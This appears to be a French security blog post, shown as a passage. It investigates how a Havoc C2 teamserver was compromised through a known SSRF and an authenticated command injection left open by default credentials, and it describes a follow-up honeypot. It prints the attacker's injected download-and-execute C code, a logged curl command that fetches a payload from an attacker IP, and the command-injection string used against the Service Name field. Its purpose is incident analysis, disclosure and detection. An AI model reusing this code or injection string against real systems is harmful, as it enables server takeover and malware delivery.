There is an english version of this article that you can find here.
Contexte#
Il y a deux ans, j’ai entrepris d’analyser le comportement de plusieurs frameworks offensifs en environnement contrôlé, pour évaluer leur potentiel de compromission et leur discrétion. Mon choix s’est porté sur Havoc, un projet open source qui se présente comme un framework de post-exploitation moderne et modulable.
Pour rendre l’exercice plus réaliste, j’ai embarqué quelques amis et formé deux équipes : une “attaquante”, chargée de l’infrastructure offensive, et une défensive, responsable de la détonation et de la détection. Une Red Team et une Blue Team, composées de 2 personnes chacune.
En analysant les artefacts laissés par la détonation de l’agent Havoc, plusieurs détails se sont montrés pour le moins étonnants.
Cet article couvre deux investigations successives, d’abord ce lab contrôlé, où notre propre teamserver s’est révélé compromis ; puis un second teamserver délibérément exposé sur Internet pendant plusieurs semaines pour vérifier si le phénomène était isolé.
Il ne l’était pas.
Avertissement : dans la plupart des juridictions, compromettre un système informatique est illégal, y compris en réponse à une attaque (hackback). Cet article est publié à des fins strictement éducatives ; derrière ce titre quelque peu racoleur, je n’invite personne en aucun cas à enfreindre la loi en vigueur dans son pays. Toutes les manipulations décrites ici ont été réalisées en environnement contrôlé, avec l’ensemble des autorisations nécessaires et à des fins de recherche.
Assez parlé, rentrons dans le vif du sujet !
Havoc, comment ça marche ?#
Après lecture de la documentation officielle et du README du projet, voici ce qu’il faut retenir pour comprendre la suite de cet article.
L’architecture de Havoc repose sur trois composants principaux :
- Le Teamserver (Go) : la pièce centrale du dispositif. Il gère la création des agents, la configuration des listeners et la coordination des opérations.
- Le Client (Qt/C++) : l’interface graphique utilisée par les opérateurs pour interagir avec le teamserver. C’est depuis ce client que l’on génère les payloads, lance les commandes sur les machines compromises, etc.
- Le Demon (C / ASM) : l’agent déployé sur la machine victime. Il maintient la communication avec le teamserver et exécute les commandes reçues.

Un point important pour la suite : la génération des agents est réalisée côté teamserver. Quand un opérateur demande un nouveau payload depuis le client, c’est le teamserver qui compile le binaire.
Le code responsable se trouve dans teamserver/pkg/common/builder/builder.go. Le teamserver assemble la commande de compilation à partir des paramètres choisis par l’opérateur (architecture, type d’injection, sleep technique, etc.) et l’exécute via exec.Command("sh", "-c", <command>). La plupart de ces paramètres ne touchent pas la commande shell, ils sont écrits directement dans la configuration du binaire compilé. Ceux qui y sont injectés (sous forme de -D DEFINE=value) sont validés par allowlist ou conversion typée, à une exception près, sur laquelle on reviendra.
La configuration par défaut du teamserver crée deux comptes, 5pider et Neo, tous deux avec le mot de passe password1234. Le teamserver écoute par défaut sur 0.0.0.0:40056, et un endpoint de Service API est configuré avec des identifiants tout aussi faibles (service-endpoint / service-password). Bien que cela puisse paraître évident, la documentation officielle du projet ne précise pas explicitement qu’il faut changer ces identifiants.
Premier acte : détonation initiale et analyse#
Mise en place et premiers tests#
Une fois l’infrastructure en place (teamserver compilé et lancé sur une machine Linux, client connecté), la Red Team a généré un premier Demon le 08/11/24 et l’a exécuté sur la machine Windows cible.
Ce premier agent s’est comporté exactement comme attendu : communications HTTPS régulières vers le teamserver, prise de main par l’opérateur, exécution de commandes depuis le client. Pour le moment, rien d’anormal.
De mon côté, l’objectif était d’observer le comportement de l’agent sur la machine victime, ses communications réseau et les artefacts qu’il laissait derrière lui, pour en tirer des marqueurs de détection.
La seconde détonation#
Lors d’une seconde détonation (le 19/12/24, puis reproduite le 03/01/25 pour tenter de comprendre le problème), le comportement du demon a commencé à changer. Il communiquait toujours avec son C2 comme prévu, mais cette fois il déposait un autre fichier dans C:\Windows\temp : torproject.exe.
- SHA256 :
dbc4afe6b9291e6d4eb0bccb60d2e966965ad482d60007599089e358c61940c2 - URL de téléchargement :
update[.]torproject[.]cloud/updates
Ce fichier n’avait pas été généré par notre teamserver et ce comportement ne correspondait à aucune fonctionnalité documentée d’Havoc.
Décomposition de la chaîne d’infection#
L’analyse a permis de reconstituer la chaîne complète :

L’analyse YARA a permis d’identifier les deux familles en présence :
torproject.execorrespond à un Donut Loader, packé avec UPX. D’après le rapport global de la menace 2024 d’Elastic, Donut Loader représentait 6,62 % des infections observées sur l’année.openvpnssl.execorrespond à un Agent Apollo, l’implant Windows écrit en C# .NET 4.0 conçu pour le framework Mythic par SpecterOps.
Le loader télécharge l’agent et son fichier de configuration, puis lance Apollo avec la commande :
"C:\Users\%username%\AppData\Local\Sysinternals\openvpnssl.exe" --localconfig C:\Users\%username%\AppData\Local\Sysinternals\config.iniUne fois openvpnssl.exe lancé, torproject.exe met fin à son exécution.
Le fichier config.ini est chiffré et sans surprise déchiffré en mémoire par openvpnssl.exe à l’exécution. Une tentative de récupération de la clé via un dump mémoire du processus n’a rien donné.
L’agent Apollo communique en HTTPS vers 188[.]114[.]96[.]2, qui est un proxy Cloudflare. L’infrastructure réelle du C2 est masquée derrière celui-ci, ce qui rend l’attribution et la caractérisation de l’attaquant nettement plus compliquées.
Les techniques de masquerading#
Plusieurs choix de l’attaquant méritent d’être soulignés. Les noms de binaires ne sont pas anodins :
torproject.exe(qui n’a rien à voir avec le projet Tor) imite une mise à jour de Tor Browser. Le domaineupdate[.]torproject[.]cloudjoue sur la même corde.openvpnssl.exeusurpe le nom d’un client VPN.- L’agent Apollo est placé dans
%USERPROFILE%\AppData\Local\Sysinternals, un répertoire dont le nom laisse sous-entendre qu’il s’agit de la suite d’outils Microsoft Sysinternals.
Tout ça relève du T1036 Masquerading. L’attaquant cherche à faire passer ses artefacts pour des éléments légitimes du système.
À ce stade, plusieurs hypothèses restaient ouvertes : une backdoor introduite volontairement par le développeur du projet, une compromission supply chain du dépôt GitHub, ou l’exploitation d’une vulnérabilité sur notre teamserver.
Investigation : que s’est-il réellement passé sur le teamserver ?#
Une corrélation simple#
Avant de plonger dans le code, le premier demon généré le 08/11/24 était sain. Tous les demons générés après cette date intégraient le téléchargement du loader. Quelque chose a donc été modifié sur notre teamserver entre les deux générations.
Pour confirmer, j’ai monté un nouvel environnement isolé avec un teamserver fraîchement compilé. La détonation d’un demon généré depuis ce serveur n’a montré aucun signe de compromission. La piste pointait vers notre première instance.
Analyse du code source#
Le projet ayant été cloné depuis GitHub et l’attaquant n’ayant pas pris la peine de supprimer le répertoire .git, la comparaison a été rapide. Un simple git status à la racine du projet :
$ git status
On branch main
Your branch is up to date with 'origin/main'.
Changes not staged for commit:
(use "git add <file>..." to update what will be committed)
(use "git restore <file>..." to discard changes in working directory)
modified: payloads/Demon/src/Demon.c
modified: profiles/havoc.yaotl
modified: teamserver/go.mod
modified: teamserver/go.sum
Untracked files:
(use "git add <file>..." to include in what will be committed)
payloads/Demon/include/core/Transports.h
payloads/Demon/src/core/Transports.c
no changes added to commit (use "git add" and/or "git commit -a")Toutes les modifications ne sont pas malveillantes. Tri rapide :
profiles/havoc.yaotl: l’IP du listener a été ajoutée par le teamserver lui-même au moment de la configuration. Légitime.teamserver/go.modetteamserver/go.sum: l’ajout du modulegithub.com/ugorji/go v1.2.12correspond à une dépendance installée par la Red Team (go mod download) lors de l’installation initiale. Légitime également.payloads/Demon/src/Demon.c+ les deux fichiers non suivisTransports.hetTransports.c: c’est ici que l’investigation devient intéressante.
Modification de Demon.c#
Dans les headers du fichier Demon.c, une ligne a été ajoutée :
/* Import Core Headers */
#include <core/Transport.h>
#include <core/Transports.h> // <-- AJOUTÉ
#include <core/SleepObf.h>
#include <core/Win32.h>
#include <core/MiniStd.h>
#include <core/SysNative.h>
#include <core/Runtime.h>Le projet contient déjà un fichier légitime core/Transport.h (singulier). L’attaquant a créé core/Transports.h (avec un “s”) pour que l’inclusion passe inaperçue - T1036.005 Match Legitimate Name or Location.
Plus loin, dans la fonction DemonMain :
VOID DemonMain( PVOID ModuleInst, PRAYN_ARGS KArgs )
{
INSTANCE Inst = { 0 };
Instance = & Inst;
/* Initialize Win32 API, Load Modules and Syscalls stubs */
DemonInit( ModuleInst, KArgs );
/* Initialize MetaData */
DemonMetaData( &Instance->MetaData, TRUE );
DemonEx(); // <-- AJOUTÉ
/* Main demon routine */
DemonRoutine();
}Un appel à DemonEx() a été inséré entre l’initialisation et la routine principale du demon. La fonction est déclarée dans le nouveau header Transports.h :
#ifndef DEMON_TRANSPORTS_H
#define DEMON_TRANSPORTS_H
void DemonEx();
#endifLe code malveillant : Transports.c#
Le cœur de l’injection est dans payloads/Demon/src/core/Transports.c. Le code n’est pas obfusqué, au contraire, il est commenté.
BOOL DownloadFile(LPCWSTR file_path) {
[...]
// Step 1: Initialize WinHTTP session
hSession = Instance->Win32.WinHttpOpen(
L"WinHTTP Example/1.0",
WINHTTP_ACCESS_TYPE_DEFAULT_PROXY,
WINHTTP_NO_PROXY_NAME,
WINHTTP_NO_PROXY_BYPASS,
0);
if (!hSession) {
PRINTF(L"WinHttpOpen failed");
goto cleanup;
}
// Step 2: Parse URL and connect to server
LPCWSTR hostName = L"update[.]torproject[.]cloud";
LPCWSTR path = L"/updates";
[...]
}
int ExecuteProcess(const wchar_t *exePath) {
STARTUPINFOW si = {sizeof(STARTUPINFOW)};
PROCESS_INFORMATION pi;
BOOL bSuccess = FALSE;
bSuccess = Instance->Win32.CreateProcessW(exePath, NULL, NULL, NULL, FALSE, 0, NULL, NULL, &si, &pi);
return bSuccess;
}
int DemonEx() {
LPCWSTR file_path = L"C:\\Windows\\temp\\torproject.exe";
const wchar_t *exePath = L"C:\\Windows\\temp\\torproject.exe";
if (DownloadFile(file_path)) {
ExecuteProcess(exePath);
PRINTF(L"Download completed successfully.\n");
} else {
PRINTF(L"Download failed.\n");
}
return 0;
}Le domaine
update[.]torproject[.]cloudest volontairement défangé ici. Les crochets ne sont évidemment pas présents dans le code original.
Trois fonctions, un comportement simple : DownloadFile() télécharge le loader depuis le domaine de l’attaquant, ExecuteProcess() l’exécute, DemonEx() enchaîne les deux. La décomposition en étapes numérotées (Step 1, Step 2…), les commentaires explicatifs, le nommage très “tutoriel” : le style est fortement compatible avec du code généré ou lourdement assisté par un LLM, sans qu’on puisse l’établir avec certitude.
Activité sur le teamserver#
La liste des agents enregistrés sur le teamserver confirme la compromission. Deux demons y figurent, qu’aucun de nous n’avait détonné :
| Hostname | OS | InternalIP | ExternalIP | FirstCallin |
|---|---|---|---|---|
| 67za5au5 | Windows 10 32-bit | 10.66.85.174 | 146[.]70[.]116[.]195 | 08/11/2024 12:22 |
| snf833vr | Windows Server 2008 R2 | 10.250.102.130 | 146[.]70[.]116[.]195 | 09/11/2024 12:29 |
Les hostnames, usernames et noms de domaine semblent générés aléatoirement. L’IP externe 146[.]70[.]116[.]195 a probablement été manipulée par l’attaquant pour brouiller les pistes. Le premier agent suspect est apparu 2 jours après la mise en place du serveur, le second 3 jours après.
Ces agents fictifs se sont avérés être la signature d’une exploitation, mais je ne l’ai compris qu’après coup, en analysant le honeypot décrit plus loin, dont les journaux portaient la preuve en clair. L’identification est donc rétrospective.
Petite précision, sur ce premier lab, la supervision se limitait à la machine victime. Le teamserver, lui, n’était pas monitoré. Il était monté pour générer des agents, pas pour l’observer. Aucun journal ne permet donc de dire quand l’attaquant s’y est connecté, ni quelles commandes il y a exécutées. Seuls les artefacts disque, le code modifié et les deux agents fantômes, attestent de son passage.
C’est précisément ce manque qui a motivé la suite de cette recherche. Sur le honeypot décrit plus bas, j’ai configuré un monitoring sur le teamserver lui-même (auditd, Snoopy, capture réseau complète) et la même attaque y devient parfaitement lisible. Voici donc quelques logs provenant du honeypot pour illustrer :
03:06:02.319 uid=1000 sid=26100 tty=none cwd=/home/maintainer/Havoc/payloads/Demon
/usr/bin/nasm -f win64 src/asm/Spoof.x64.asm -o /tmp/df5fe3e6e6/8a2230c9af.o
03:06:02.321 uid=1000 sid=26100 tty=none cwd=/home/maintainer/Havoc/payloads/Demon
/usr/bin/nasm -f win64 src/asm/Syscall.x64.asm -o /tmp/df5fe3e6e6/cea771c8aa.o
03:06:02.323 uid=1000 sid=26100 tty=none cwd=/home/maintainer/Havoc/payloads/Demon
curl -v -k http://132[.]145[.]17[.]167:9090/K7iSiFCfpG/cache3 -o /tmp/cache2Le curl de l’attaquant s’exécute entre deux étapes légitimes de compilation, avec le même répertoire de travail et le même identifiant de session que le builder. C’est la signature de l’injection dans le champ Service Name : la commande est exécutée par le sh -c de builder.go, au beau milieu de la génération d’un agent.
Les mêmes journaux ont livré la séquence de persistance complète, minute par minute, ainsi que l’installation d’une clé SSH. On y viendra.
Recherche de vulnérabilités connues#
Écarter l’hypothèse supply chain#
Avant de chercher des CVE, j’ai envisagé les hypothèses les plus simples. Havoc est un projet open source, initialement développé comme projet étudiant. Une backdoor introduite par le développeur ou une compromission du dépôt GitHub restaient à écarter.
Les derniers commits sur la branche main n’impliquaient pas de changements majeurs, ni de modifications de dépendances. Le seul commit récent (28/11/24) ajoutait un sponsor au README.md (retiré depuis). Pour vérifier, la comparaison a été refaite sur un commit identique à celui utilisé pour l’installation initiale.
Verdict : le code officiel est sain. La compromission a eu lieu uniquement sur notre instance, après déploiement.
Deux vulnérabilités, une chaîne d’exploitation#
En cherchant si Havoc présentait des vulnérabilités connues, je suis tombé sur deux articles qui décrivaient exactement le type d’attaque que je venais d’observer.
SSRF - Server Side Request Forgery#
La première vulnérabilité a été découverte par Chebuya et documentée dans cet article. Un PoC est disponible sur son GitHub.
Le principe : usurper l’enregistrement d’un Demon auprès du teamserver pour ouvrir une socket TCP depuis celui-ci, et ainsi interagir avec des services internes ou encore, révéler l’adresse IP réelle du teamserver lorsque celui-ci est placé derrière un redirecteur.
Cette vulnérabilité est exploitable sans aucune authentification. Elle a été référencée sous le CVE CVE-2024-41570 avec un score CVSS de 9.8.
Le mécanisme est plus puissant qu’une SSRF classique. Le protocole d’enregistrement d’un Demon utilise un format binaire : 4 octets pour la taille, 4 octets pour la valeur magique 0xDEADBEEF, 4 octets pour l’identifiant de l’agent, suivis du Command ID, du Request ID, puis, spécifiquement pour l’enregistrement initial (DEMON_INIT, commande 99), de la clé AES-CTR (32 octets) et de l’IV (16 octets), et enfin du payload chiffré. Cette clé et cet IV sont choisis entièrement par le client. Aucun secret partagé, aucun challenge-response. Un attaquant peut donc enregistrer un faux Demon avec une clé connue (par exemple des octets nuls) et déchiffrer tous les échanges suivants, puisque la même clé est réutilisée pour toute la session.

La clé AES voyage dans le paquet que le client construit lui-même. Le PoC public la fixe à zéro, et l’enregistrement frauduleux ressort dans le journal du teamserver avec la mention No Aes Key specified.
La faille se situe dans la fonction IsKnownRequestID de teamserver/pkg/agent/agent.go. Pour deux commandes, COMMAND_SOCKET et COMMAND_PIVOT, elle renvoie inconditionnellement true, sans vérifier qu’un opérateur les a réellement demandées. Un troisième cas conditionnel existe (BEACON_OUTPUT quand la journalisation étendue est activée), sans conséquence pour l’exploitation. Le raisonnement des auteurs est visible dans le code : ces commandes n’obéissent pas au schéma “tâche puis réponse”, donc les corréler à une tâche préalable est impossible. Sauf qu’aucun autre contrôle ne prend le relais. Parmi les sous-commandes de COMMAND_SOCKET, SOCKET_COMMAND_OPEN enregistre une cible IP et port fournis par l’attaquant, puis toute donnée envoyée ensuite via SOCKET_COMMAND_READ déclenche l’ouverture effective de la connexion TCP depuis le teamserver. Ce n’est pas une SSRF aveugle limitée à HTTP : c’est un proxy TCP, qui permet entre autres de se connecter en WebSocket au port de management du teamserver lui-même.
RCE authentifiée - Injection de commande#
La seconde vulnérabilité a été identifiée par Laurence Tennant (Include Security) dans cet article. Un PoC est également disponible sur GitHub.
Le mécanisme : lorsqu’un opérateur demande la génération d’un agent depuis le client, le teamserver compile le binaire via un appel à sh -c. La plupart des paramètres fournis par le client sont correctement filtrés, à l’exception du champ “Service Name”, qui est injecté tel quel dans la commande de compilation. Il est donc possible d’y insérer une commande arbitraire qui sera exécutée sur le serveur.
Le payload d’injection décrit dans le PoC ressemble à : " -mbla; CMD 1>&2 && false #. Le guillemet échappé casse le contexte de la chaîne dans la commande sh -c ; -mbla est une option invalide qui force MinGW à échouer immédiatement (pour ne pas attendre la fin d’une compilation) ; le point-virgule introduit la commande arbitraire avec redirection de stdout vers stderr ; && false garantit un code retour en erreur pour que le teamserver remonte le contenu de stderr (qui contient la sortie de la commande) dans l’interface Havoc ; et # commente le reste de la ligne.
Ce n’est pas la seule forme possible, plusieurs variantes syntaxiquement distinctes ont été employées, ce qui en fait au passage un discriminant d’attribution assez pertinent. Le résultat est un pseudo-shell interactif exécutant des commandes avec les privilèges du processus teamserver. Celui-ci tourne souvent en root, pour pouvoir lier les ports 80/443 des listeners. C’est fréquent, mais ce n’est pas une fatalité : sur le honeypot dont il sera question plus bas, il tournait sous un compte non privilégié, et ça a suffi à faire échouer la persistance de l’un des attaquants.
Cette vulnérabilité nécessite un accès authentifié au teamserver. Sauf que, comme mentionné plus haut, la configuration par défaut de Havoc crée deux utilisateurs avec le mot de passe password1234.
Aucun CVE officiel n’a été attribué à cette vulnérabilité. Sur la base de ses caractéristiques (RCE distante, authentification requise avec des creds par défaut, impact maximal sur la confidentialité, l’intégrité et la disponibilité), un score CVSS 3.1 estimé tourne autour de 8.8 (vecteur CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H). Le choix de PR:L reflète l’exigence formelle d’authentification ; en pratique, avec les identifiants par défaut inchangés, la vulnérabilité se comporte comme un PR:N (score équivalent 9.8). Avec l’archivage du dépôt GitHub en février 2026, le statut de remédiation est RL:U (Unavailable) : le projet dans l’état reste sans patch, une correction majeure sur la branche de réécriture ou dans un fork reste théoriquement possible mais n’existe pas au moment où j’écris.
Ce qui s’est probablement passé dans mon cas#
Dans ce lab, l’adresse IP du teamserver n’était pas masquée par un redirecteur. L’attaquant n’a donc probablement pas eu besoin de la SSRF pour localiser le serveur : un simple scan suffisait.
C’est une nuance qui a son importance, et le honeypot l’a confirmée par la suite : la CVE-2024-41570 y a bel et bien été exploitée, mais uniquement pour son stage 1, l’enregistrement du faux Demon. Le proxy TCP, la partie spectaculaire de la vulnérabilité, n’apportait rien de plus dès lors que le port 40056 était directement joignable. La SSRF est donc moins “l’étape 1 obligatoire du chaînage” que le maillon qui devient indispensable quand le teamserver est correctement protégé.
En revanche, les identifiants des comptes 5pider et Neo sont restés ceux par défaut. L’exploitation de la RCE devenait triviale : connexion au teamserver avec les creds par défaut, injection de commande via le champ “Service Name”, obtention d’un shell, et modification du code de génération des agents pour y intégrer l’implant Apollo.
Le scénario complet, dans le cas où le teamserver aurait été derrière un redirecteur, aurait pu ressembler à ceci :

Plusieurs dépôts publics sur GitHub (sebr-dev, Nicolas-Arsenault, thisisveryfunny) chaînent la SSRF et la RCE authentifiée en un seul script : la SSRF ouvre un WebSocket vers le port 40056, s’authentifie avec les identifiants par défaut, et déclenche l’injection via le champ Service Name. L’attaque est entièrement automatisée et non authentifiée dès lors que les identifiants par défaut sont en place.

La SSRF ouvre un tunnel vers le WebSocket en loopback, les identifiants par défaut débloquent l’authentification à travers ce tunnel, et l’injection Service Name transforme l’ensemble en RCE non authentifiée.
L’attaque est discrète et offre un effet de levier intéressant : l’attaquant compromet une seule machine (le teamserver) et obtient un accès sur toutes les futures victimes de l’opérateur qui utilise ce teamserver, sans jamais les cibler directement.
Pour mesurer ce que cela représente à l’échelle d’Internet, j’ai interrogé deux moteurs de recherche d’exposition en août 2026 :
| Moteur | Requête | Résultats |
|---|---|---|
| Shodan | x-havoc = true | 30 |
| Censys | host.services.endpoints.http.headers.key:"X-Havoc" | 32 |
La convergence donne confiance dans le résultat.
Reste à lire ce qu’il mesure. Le header X-Havoc est présent par défaut, laissé par l’auteur du framework pour limiter les usages malveillants selon plusieurs blogs — sans que le dépôt ne l’atteste formellement — sauf que n’importe quel opérateur peut le retirer en éditant son profil. Ces trente instances ne sont donc pas la population des teamservers Havoc exposés mais ceux dont l’opérateur n’a pas changé le header (et donc éventuellement, laissé les identifiants par défaut).
L’écart avec d’autres méthodes de comptage est parlant. Une recherche par les champs du certificat TLS (qui attrape aussi les instances ayant supprimé l’en-tête mais conservé la génération de certificat par défaut) relevait 238 IP en mars 2024. Les deux chiffres ne sont pas directement comparables, ni par la date ni par la méthode. Mais ils disent la même chose : le nombre qu’on obtient dépend surtout du degré de négligence qu’on accepte de compter.
Le honeypot décrit plus bas en aurait fait partie. Son certificat portait un commonName au format IP, un code postal et une organisation tirée de la liste par défaut, soit le motif exact que cherche cette seconde méthode.
Mise à jour : le 20 février 2026, l’organisation HavocFramework sur GitHub a été archivée. Tous les dépôts sont passés en lecture seule, avec 115 issues ouvertes et 19 pull requests non fusionnées. La RCE authentifiée ne sera donc pas corrigée sur la branche principale dont le statut de remédiation reste
RL:U(Unavailable) pour tout déploiement basé surmain. Une correction reste théoriquement possible sur la branche de réécriture ou dans un fork, mais elle n’existe pas au moment où j’écris. Havoc reste disponible dans les dépôts Kali Linux, en version 0.7.
Activité de l’attaquant sur la machine “victime”#
Reste un dernier angle à creuser : qu’a fait l’attaquant une fois sur la machine victime ?
Phase de reconnaissance et tentative de latéralisation#
Plus d’1h30 après la détonation du demon initial, plusieurs commandes ont été lancées sur la machine victime via l’agent Apollo. La chronologie a pu être reconstituée à partir des logs Sysmon Event ID 1 (Process Create) et Windows Security Event 4688 (audit de création de processus), tous deux configurés pour journaliser la ligne de commande complète. La clé de registre BAM (HKLM\SYSTEM\ControlSet001\Services\bam\State\UserSettings\<SID>) a permis de confirmer l’exécution des binaires côté artefact disque, mais sans accès aux arguments, elle reste un complément utile en post-mortem.
| Horodatage (UTC) | Commande | Type d’activité |
|---|---|---|
| 11:00:30 | curl ifconfig.me | Reconnaissance |
| 11:03:10 | net use | Reconnaissance |
| 11:07:40 | dir \\172.16.1.3\c$ | Latéralisation - Reconnaissance |
| 11:08:22 | dir \\172.16.1.3\c$\Users | Latéralisation - Reconnaissance |
| 11:08:50 | dir \\172.16.1.3\c$\Users\Administrator | Latéralisation - Reconnaissance |
| 11:09:20 | dir \\172.16.1.3\c$\Users\Administrator\Desktop | Latéralisation - Reconnaissance |
| 11:09:30 | dir \\172.16.1.3\c$\Users\Administrator\Download | Latéralisation - Reconnaissance |
| 11:37:51 | systeminfo | Reconnaissance |
Le décalage temporel entre les commandes (quelques secondes ou minutes) suggère une intervention manuelle de l’attaquant plutôt qu’un script automatisé.
L’objectif : reconnaissance locale, puis énumération du Windows Server voisin (172.16.1.3) en vue d’une latéralisation. N’ayant rien trouvé d’intéressant côté serveur, l’attaquant a abandonné cette piste.
Tentative de persistance#
Juste avant que le lab ne soit éteint, l’attaquant a réécrit le binaire du demon dans C:\Windows\temp sous le nom 1.exe. Les hashes correspondent à ceux du demon initial, donc à un demon compromis qui retéléchargera le loader au prochain lancement. Deux hypothèses : soit l’attaquant prévoyait de réexécuter la chaîne d’infection depuis le départ (au cas où l’agent Apollo serait perdu), soit il préparait un mécanisme de persistance.
TTPs observés#
L’ensemble du cycle, depuis l’exploitation du teamserver jusqu’à la phase post-exploitation, peut être cartographié sur la matrice MITRE ATT&CK :
| TTP | Technique | Observation |
|---|---|---|
| T1190 | Exploit Public-Facing Application | Exploitation SSRF + RCE sur le teamserver Havoc exposé |
| T1195.002 | Compromise Software Supply Chain | Modification du code de génération : chaque Demon compilé après la compromission embarque le loader |
| T1105 | Ingress Tool Transfer | Téléchargement de torproject.exe par le Demon, puis d’Apollo et de sa config par le loader |
| T1027.002 | Software Packing | torproject.exe packé avec UPX |
| T1036.005 | Match Legitimate Name or Location | Noms de binaires (torproject.exe, openvpnssl.exe) et chemin (%LOCALAPPDATA%\Sysinternals) imitant des éléments légitimes |
| T1140 | Deobfuscate/Decode Files | config.ini chiffré, déchiffré en mémoire par Apollo à l’exécution |
| T1059.003 | Windows Command Shell | Commandes de reconnaissance et de latéralisation lancées via cmd.exe |
| T1016 | System Network Configuration Discovery | curl ifconfig.me (IP publique) |
| T1082 | System Information Discovery | systeminfo |
| T1135 | Network Share Discovery | net use (partages réseau) et énumération de partages via \\172.16.1.3\c$ et sous-répertoires |
| T1071.001 | Application Layer Protocol: Web Protocols | Communications HTTPS entre Apollo et son C2 via Cloudflare |
IOC de la première compromission#
Voici les IOC collectés au cours de cette première investigation. Ils sont propres à ce cas : le domaine torproject[.]cloud, en particulier, est totalement absent du honeypot décrit plus loin, dont les domaines et les charges sont entièrement distincts. Les deux jeux d’indicateurs ne doivent pas être mélangés. La seule coïncidence notable est que les ExternIP déclarées par les faux agents des deux cas tombent dans la même plage 146[.]70[.]116[.]0/24, un pool VPN commercial (Mullvad) partagé par des milliers d’utilisateurs. Aussi, les IP correspondent aux nœuds Cloudflare qui frontent le C2 réel. Les hashes, chemins et domaines sont en revanche directement exploitables.
IOC fichier#
| Type | Valeur | Contexte |
|---|---|---|
| SHA256 | dbc4afe6b9291e6d4eb0bccb60d2e966965ad482d60007599089e358c61940c2 | Donut Loader (torproject.exe) |
| Famille | Donut Loader | Loader open-source en mémoire (VBScript, JScript, EXE, DLL, .NET) |
| Famille | Apollo (Mythic) | Agent C# .NET 4.0 SpecterOps |
| Chemin | C:\Windows\temp\torproject.exe | Dépôt initial du loader |
| Chemin | %LOCALAPPDATA%\Sysinternals\openvpnssl.exe | Agent Apollo déployé |
| Chemin | %LOCALAPPDATA%\Sysinternals\config.ini | Configuration Apollo chiffrée |
| Chemin | C:\Windows\temp\1.exe | Réécriture du demon Havoc (persistance/réinfection) |
IOC réseau#
| Type | Valeur | Contexte |
|---|---|---|
| URL | https://update[.]torproject[.]cloud/updates | URL de téléchargement du loader |
| Domaine | update[.]torproject[.]cloud | Domaine attaquant masquant Cloudflare Lien VT |
| IP | 188[.]114[.]96[.]2 | Proxy Cloudflare (C2 Apollo) |
| IP | 104[.]21[.]25[.]86, 172[.]67[.]133[.]228 | Proxies Cloudflare (résolution update[.]torproject[.]cloud) |
| IP | 146[.]70[.]116[.]195 | ExternalIP des agents suspects sur le teamserver (probablement usurpée) |
Modifications du code source Havoc#
| Fichier | Type de modification |
|---|---|
payloads/Demon/src/Demon.c | Ajout de #include <core/Transports.h> et appel à DemonEx() dans DemonMain() |
payloads/Demon/include/core/Transports.h | Nouveau fichier : déclaration de DemonEx() |
payloads/Demon/src/core/Transports.c | Nouveau fichier : code de téléchargement et d’exécution du loader |
Deuxième acte : création d’un honeypot#
Pour vérifier l’hypothèse d’une exploitation automatisée par des acteurs opportunistes, j’ai exposé un second teamserver Havoc, volontairement vulnérable, sur Internet. La première compromission a eu lieu moins de 24 heures après l’exposition, confirmant que ces vulnérabilités étaient activement scannées et exploitées.
Ça, c’était l’hypothèse de départ, et elle est validée. Mais en dépouillant six semaines de journaux, je me suis rendu compte que le plus intéressant était ailleurs :
Plusieurs acteurs indépendants se sont succédé sur la même machine. Le second a manipulé la charge déposée par le premier. Le troisième a interrogé, quelques jours plus tard, un faux agent laissé par le second, et n’a jamais obtenu de réponse.
Le dispositif#
Havoc 0.7 “Bites The Dust”, cloné le 12/01/25 depuis le dépôt officiel (commit 41a5d45c…), lancé tel quel le 16/01. Identifiants par défaut intacts, ports 22, 443 et 40056 exposés sur une IP publique OVH (178[.]32[.]113[.]93), listener TestHTTPS en écoute. Bref, exactement la configuration que je viens de passer un article à déconseiller.
Côté supervision : auditd et Snoopy sur le teamserver, Suricata et le filterlog du pfSense en amont, le tout remonté dans un Wazuh, plus une capture réseau complète du 17 au 21 janvier. La machine est exposée sur Internet dès le 09/01 (préparation, configuration), Havoc entre en scène le 16/01, la première activité hostile arrive le 17/01, et la collecte se poursuit jusqu’au 23/02, soit 4,17 millions de paquets et 46 jours d’alertes.
Dernier point, qui aura son importance : le teamserver tournait sous un compte non privilégié.
Acte I : l’enregistrement fantôme (17 janvier)#
12:24:14. Un Demon s’enregistre sur le listener. Personne ne l’a généré.
| Champ | Valeur observée | Pourquoi c’est impossible |
|---|---|---|
| Clé AES | No Aes Key specified | Un agent qui s’enregistre sans clé de chiffrement est anormal par construction |
SleepJitter | 299 | Un jitter est un pourcentage. Toute valeur > 100 n’a pas de sens |
SleepDelay | 74889 (20,8 h) | Hors de toute plage opérationnelle |
| Hostname / User / Domain | lu1y57ry / ewpuqu / EWQGXNZQHNIT | Chaînes aléatoires |
| Agent ID | 32d94782 | — |
C’est la signature de la CVE-2024-41570, en clair, dans le journal du teamserver. La clé AES est fournie par le client lors du DEMON_INIT, sans secret partagé ; le PoC public la met tout simplement à zéro.
Détail amusant : une première tentative, une seconde plus tôt, avait été rejetée pour User-Agent invalide. L’outil a corrigé son UA et a réussi dans la foulée. Le contrôle d’User-Agent de Havoc n’arrête que l’outillage négligent.
Le journal du teamserver, brut :
[12:24:13] [WARN] got a request with an invalid user agent: Mozilla/5.0 (Windows NT 6.1)
AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.190 Safari/537.36
[12:24:14] [DBUG] [handlers.handleDemonAgent:262]: Agent does not exists. hope this is a register request
[12:24:14] [DBUG] [agent.ParseDemonRegisterRequest:404]: Parsed DemonID: 32d94782
[12:24:14] [DBUG] [agent.ParseDemonRegisterRequest:412]: AgentID (32d94782) == DemonID (32d94782)
[12:24:14] [DBUG] [agent.ParseDemonRegisterRequest:424]:
Hostname: lu1y57ry
Username: ewpuqu
Domain : EWQGXNZQHNIT
InternIP: 10.144.66.243
ExternIP: 146[.]70[.]116[.]227
[12:24:14] [DBUG] [agent.ParseDemonRegisterRequest:441]:
ProcessName : explorer.exe
ProcessPID : 5546
ProcessTID : 1440
ProcessPPID : 3337
ProcessArch : 1
Elevated : 1
Base Address: 0x400000
[12:24:14] [DBUG] [agent.ParseDemonRegisterRequest:459]:
SleepDelay : 74889
SleepJitter : 299
[12:24:14] [DBUG] [agent.ParseDemonRegisterRequest:594]: Finished parsing demon
[12:24:14] [DBUG] [packer.(*Packer).Build:87]: No Aes Key specified
[12:24:14] [DBUG] [handlers.handleDemonAgent:295]: Finished request
Le même enregistrement dans le terminal, encadré par les erreurs TLS de routine qui saturaient le journal.
